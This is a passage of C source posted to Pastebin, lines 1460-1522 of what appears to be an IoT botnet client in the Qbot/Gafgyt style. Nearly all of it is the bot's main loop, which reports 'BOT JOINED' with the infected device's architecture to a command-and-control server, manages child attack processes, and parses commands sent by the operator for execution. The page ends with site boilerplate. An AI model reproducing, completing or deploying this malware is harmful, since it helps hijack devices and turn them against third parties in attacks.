  1460.                 sockprintf(mainCommSock, "[\e[96mBOT JOINED\e[97m] Arch: \e[96m%s \e[97m|| Type: %s]", getBuild(), getEndianness());
  1461.                 UpdateNameSrvs();
  1462.                 char commBuf[4096];
  1463.                 int got = 0;
  1464.                 int i = 0;
  1465.                 while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  1466.                         for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1467.                                 unsigned int *newpids, on;
  1468.                                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1469.                                 pids[on - 1] = 0;
  1470.                                 numpids--;
  1471.                                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1472.                                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1473.                                 free(pids);
  1474.                                 pids = newpids;
  1475.                         }
  1476.                         commBuf[got] = 0x00;
  1477.                         trim(commBuf);
  1478.                         if(strstr(commBuf, "ICMP") == commBuf) { // ICMP
  1479.                                 continue;
  1480.                         }
  1481.                         if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  1482.                         unsigned char *message = commBuf;
  1483.                         if(*message == '!') {
  1484.                                 unsigned char *nickMask = message + 1;
  1485.                                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1486.                                 if(*nickMask == 0x00) continue;
  1487.                                 *(nickMask) = 0x00;
  1488.                                 nickMask = message + 1;
  1489.                                 message = message + strlen(nickMask) + 2;
  1490.                                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1491.                                 unsigned char *command = message;
  1492.                                 while(*message != ' ' && *message != 0x00) message++;
  1493.                                 *message = 0x00;
  1494.                                 message++;
  1495.                                 unsigned char *tmpcommand = command;
  1496.                                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1497.                                 unsigned char *params[10];
  1498.                                 int paramsCount = 1;
  1499.                                 unsigned char *pch = strtok(message, " ");
  1500.                                 params[0] = command;
  1501.                                 while(pch) {
  1502.                                         if(*pch != '\n') {
  1503.                                                 params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1504.                                                 memset(params[paramsCount], 0, strlen(pch) + 1);
  1505.                                                 strcpy(params[paramsCount], pch);
  1506.                                                 paramsCount++;
  1507.                                         }
  1508.                                         pch = strtok(NULL, " ");
  1509.                                 }
  1510.                                 processCmd(paramsCount, params);
  1511.                                 if(paramsCount > 1) {
  1512.                                         int q = 1;
  1513.                                         for(q = 1; q < paramsCount; q++) {
  1514.                                                 free(params[q]);
  1515.                                         }
  1516.                                 }
  1517.                         }
  1518.                 }
  1519.         }
  1520.         return 0;
  1521.     }
  1522. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!